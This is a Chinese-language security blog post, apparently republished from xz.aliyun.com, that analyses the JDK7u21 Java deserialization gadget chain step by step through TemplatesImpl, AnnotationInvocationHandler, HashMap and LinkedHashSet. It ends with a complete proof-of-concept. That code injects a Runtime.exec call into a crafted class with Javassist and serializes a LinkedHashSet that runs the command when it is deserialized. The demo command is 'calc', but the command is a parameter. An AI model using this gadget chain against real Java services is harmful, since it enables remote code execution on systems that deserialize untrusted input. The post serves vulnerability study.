JDK7u21 反序列化漏洞
2020-02-17 10:49:37 Author: xz.aliyun.com(查看原文) 阅读量:418 收藏

概述

JDK7u21 反序列化漏洞所用到的类都是 JDK 自带类,对其做了详细分析,记录一下.

主要涉及类和接口包括:LinkedHashSetHashSetHashMapTemplatesImplAbstractTransletProxyAnnotationInvocationHandler.

涉及知识点:Java 反序列化、反射、动态代理.

环境:jdk1.7.0_21IDEA 2019.2

分析过程

TemplatesImpl class

getTransletInstance() 方法

_class 字段为 null 时,会调用 defineTransletClasses() 方法,然后执行 _class[_transletIndex].newInstance() 语句( newInstance() 会调用 _class[_transletIndex] 的无参构造方法,生成类实例对象).

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

defineTransletClasses() 方法分析

private void defineTransletClasses() throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new Hashtable();
        }
        // 遍历 _bytecodes(byte[][]) 数组,使用类加载器将字节码转化为 Class
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            // 获取 Class 的父类
            final Class superClass = _class[i].getSuperclass();

            // 如果 Class 的父类名是 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",为 _transletIndex 赋值,否则调用 Hashtable 的 put 方法为 _auxClasses 字段增加值
            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }   
}

调用 getTransletInstance() 方法在 newTransformer() 方法中也有调用,并且不需要前置条件即可调用. 所以实际调用 newTransformer()getTransletInstance() 方法都可以.

_bytecodes field

首先构造 Foo 类,该类实现了 Serializable 序列化接口.然后使用 ClassPool 修改 Foo 类,因为为 _transletIndex 设置值时,父类名必须为 "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",所以调用 clazz.setSuperclass(xxx) 设置 Foo 类的父类.另外调用类的无参构造方法时触发我们想要执行的代码,所以可以给 Foo 类的默认构造方法添加我们想执行的代码,或者构造静态代码块添加我们想执行的代码.

1、通过 ClassPool 构造字节码.

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
    throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();

    // 新增搜索路径到 pathList 中
    pool.insertClassPath(new ClassClassPath(Foo.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));

    // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
    final CtClass clazz = pool.get(Foo.class.getName());

    // 构造静态初始化语句,后面用到
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";

    // 在类中设置静态初始化语句
    clazz.makeClassInitializer().insertBefore(cmd);

    // 设置类名
    clazz.setName("com.Pwner");

    // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
    CtClass superC = pool.get(abstTranslet.getName());

    // 设置父类为 abstTranslet
    clazz.setSuperclass(superC);

    // 将类转换为二进制
    final byte[] classBytes = clazz.toBytecode();

    // 使用 Reflections 反射框架为 _bytecodes 字段赋值
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // 使用 Reflections 反射框架为 _name 字段赋值
    Reflections.setFieldValue(templates, "_name", "Pwner");

    return templates;
    }

    public static class Foo implements Serializable {

    private static final long serialVersionUID = 8207363842866235160L;
}

2、直接构造 Java 类,生成 class 文件,读取 class 文件并转换为字节码数组.

构造 Java 

Foo.java

import java.lang.Runtime;
import java.io.Serializable;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

public class Foo extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = 8207363842866235160L;

    public Foo(){
        try{
            java.lang.Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            System.out.println("exec Exception");
        }
    }

    public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}


    @Override
    public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}

}

读取 class 文件生成字节码数组

InputStream in = new FileInputStream("class path");
byte[] data = toByteArray(in);

private static byte[] toByteArray(InputStream in) throws IOException {

    ByteArrayOutputStream out = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024 * 4];
    int n = 0;
    while ((n = in.read(buffer)) != -1) {
        out.write(buffer, 0, n);
    }
    return out.toByteArray();
}

将生成的字节码通过 Reflections 反射框架为 _bytecodes 字段赋值,这时 TemplatesImpl 对象就已经构造好了,只需要调用
newTransformer()getTransletInstance() 方法即可触发.

AnnotationInvocationHandler class

由上面知道,我们需要找到一个序列化类,并且此序列化类能够调用 TemplatesImpl 对象的 newTransformer()getTransletInstance() 方法. AnnotationInvocationHandler 类中的 equalsImpl 方法正好符合.

AnnotationInvocationHandler 类中存在 var8 = var5.invoke(var1); 语句(通过反射调用 var1 对象的 var5 方法),分析一下 equalsImpl 方法.

private Boolean equalsImpl(Object var1) {
    // 判断 var1 和 this 对象是否相等
    if (var1 == this) {
        return true;
    // 判断 var1 对象是否被转化为 this.type 类
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        // 根据 this.type 获取本类的所有方法
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        // 遍历从 this.type 类中获取的方法
        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            // 查看 this.memberValues 中是否存在 key 为 this.type 类中的方法名
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            // var1 如果为代理类并且为 AnnotationInvocationHandler 类型,返回 Proxy.getInvocationHandler(var1).否则返回 null
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            // var9 不等于 null 时,执行 if 语句,否则执行 else 语句
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    // 调用 var1 对象的 var5 方法.  如:getOutputProperties.invoke(templatesImpl),就会调用 templatesImpl 对象的 getOutputProperties 方法
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

所以当我们调用 equalsImpl 方法,并且想要成功执行到 var5.invoke(var1) 时,需要满足几个条件:

1、var1 != this;

2、var1 对象能够转化为 this.type 类型,this.type 应该为 var1 对应类的本类或父类;

3、this.asOneOfUs(var1) 返回 null.

而想要通过反射执行 TemplatesImpl 对象的方法, var1 应该为 TemplatesImpl 对象,var5 应该为 TemplatesImpl 类中的方法,而 var5 方法是从 this.type 类中获取到的.通过查看 TemplatesImpl 类,javax.xml.transform.Templates 接口正好符合,这里最终会调用 getOutputProperties 方法.

equalsImpl 方法的调用在 invoke 方法中.分析 invoke 方法,想要调用 equalsImpl 方法,需要满足:

1、var2 方法名应该为 equals;

2、var2 方法的形参个数为 1;

3、var2 方法的形参类型为 Object 类型.

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

Annotationinvocationhandlerinvoke 方法的调用涉及 Java 的动态代理机制,动态代理这里不再详细叙述,直构造代码:

TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "sss");

// 使用 Reflections 反射框架创建 AnnotationInvocationHandler 对象,并设置 type 和 memberValues 字段值
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
                newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;

//  生成代理类,实现 Templates 接口,代理对象为创建的 AnnotationInvocationHandler 对象
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

templates.equals(templatesImpl);

通过执行 templates.equals(templatesImpl); 最终触发我们想要执行的语句.

HashMap class

通过以上我们知道,最终需要调用 templates.equals(templatesImpl); 才能触发我们想要执行的语句.

HashMapput 方法中存在 key.equals(k) 语句,如果 keytemplates 对象,ktemplatesImpl 对象,则正好触发我们构造的调用链.但是执行 key.equals(k) 语句需要有前提条件:

1、HashMap 存入两个 key 的 hash 值相等,并且 indexFor 计算的 i 相等;

2、前一个 HashMap 对象值的 key 值不等于现在存入的 key 值;

3、现在存入的 key 值为 templates 对象,上一个存入的 key 值为 templatesImpl 对象.

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

所以我们可以进行像这样构造. 但是发现前提条件 1 并没有满足,所以需要看一下 hash 方法.

HashMap hashmap = new HashMap();
    hashmap.put(templatesImpl, "templatesImpl");
    hashmap.put(templates, "templates");

hash 方法中实际调用了传入 khashCode 方法. 所以实际调用的是 templatesImpltemplates 对象的 hashCode 方法.

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

TemplatesImpl 类没有重写 hashCode 方法,调用默认的 hashCode 方法.templates 对象对应的代理类重写了 hashCode 方法,实际调用 AnnotationInvocationHandler 类的 hashCodeImpl 方法.分析一下这个方法, 发现这个方法会遍历 this.memberValues,每次用上一次计算的值加上 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()),而 memberValueHashCode 方法中知道,如果 this.memberValues 值的 value 值的类不是数组,就会返回该 value 值的 hashCode 值.如果 this.memberValues 只有一个 map 对象,并且 127 * ((String)var3.getKey()).hashCode() 计算的值为零,map 对象的 value 值为 templatesImpl 对象时,能够使得 HashMap 两次 put 值的 key 值相等.所以在创建 AnnotationInvocationHandler 对象时,传入的 map 对象,keyhashCode 值应该为零,value 值为 templatesImpl 对象.

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

这时我们构造的代码如下:

TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, templatesImpl);

System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
        newInstance(Templates.class, map);

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allIfaces[0] = Templates.class;
Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

HashMap hashmap = new HashMap();
hashmap.put(templatesImpl, "templatesImpl");
hashmap.put(templates, "templates");

LinkedHashSet class

我们最终是要通过反序列化里触发我们的调用链,所以我们需要在 readObject 反序列化方法中寻找是否有调用 mapput 方法.在 HashSetreadObject 反序列化方法中会循环往 map 对象中 put 值.根据 writeObject 序列化我们知道,每次写入的对象为 mapkey 值.所以我们创建的 LinkedHashSet 对象时,首先写入 templatesImpl 对象,然后写入 templates.然后调用 writeObject 写入 LinkedHashSet 对象.使用 LinkedHashSet 来添加值是因为 LinkedHashSet 能够保证值的加入顺序.

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

POC

最终 POC 如下:

public class JDK7u21 {

public static void main(String[] args) throws Exception {

    TemplatesImpl templatesImpl = createTemplatesImpl("calc", TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "ssss");

    System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").
            newInstance(Templates.class, map);

    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class,1);
    allIfaces[0] = Templates.class;
    Templates templates = (Templates)Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), allIfaces, tempHandler);

    LinkedHashSet set = new LinkedHashSet();
    set.add(templatesImpl);
    set.add(templates);

    // 此处将 key 为 "f5a5a608" 的 map 对象的 value 值设置为 templatesImpl 是因为如果在 set.add(templates) 之前设置,则会令 LinkedHashSet 两次增加的 hash 值相等,在写入序列化对象前触发调用链. 
    map.put(zeroHashCodeStr, templatesImpl);


    //序列化
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("D://JDK7u21.ser")));
    objectOutputStream.writeObject(set);//序列化对象
    objectOutputStream.flush();
    objectOutputStream.close();


    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://JDK7u21.ser"));
    objectInputStream.readObject();
}


public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
    final T templates = tplClass.newInstance();
    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    // 新增搜索路径到 pathList 中
    pool.insertClassPath(new ClassClassPath(Foo.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    // 先后从缓存和 pathList 中寻找 Foo 类,返回 CtClass 对象
    final CtClass clazz = pool.get(Foo.class.getName());
    // 构造静态初始化语句,后面用到
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
    // 在类中设置静态初始化语句
    clazz.makeClassInitializer().insertBefore(cmd);
    // 设置类名
    clazz.setName("com.Pwner");
    // 先后从缓存和 pathList 中寻找 abstTranslet 类,返回 CtClass 对象
    CtClass superC = pool.get(abstTranslet.getName());
    // 设置父类为 abstTranslet
    clazz.setSuperclass(superC);
    // 将类转换为二进制
    final byte[] classBytes = clazz.toBytecode();

    /*InputStream in = new FileInputStream("F:\\Foo.class");
    byte[] data = toByteArray(in);*/

    // 使用 Reflections 反射框架为 _bytecodes 字段赋值
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
    });
    // 使用 Reflections 反射框架为 _name 字段赋值
    Reflections.setFieldValue(templates, "_name", "Pwner");

    return templates;
}


public static class Foo implements Serializable {

    private static final long serialVersionUID = 8207363842866235160L;
}

}

参考

https://gist.github.com/frohoff/24af7913611f8406eaf3

https://sec.xiaomi.com/article/41


文章来源: http://xz.aliyun.com/t/7236
如有侵权请联系:admin#unsafe.sh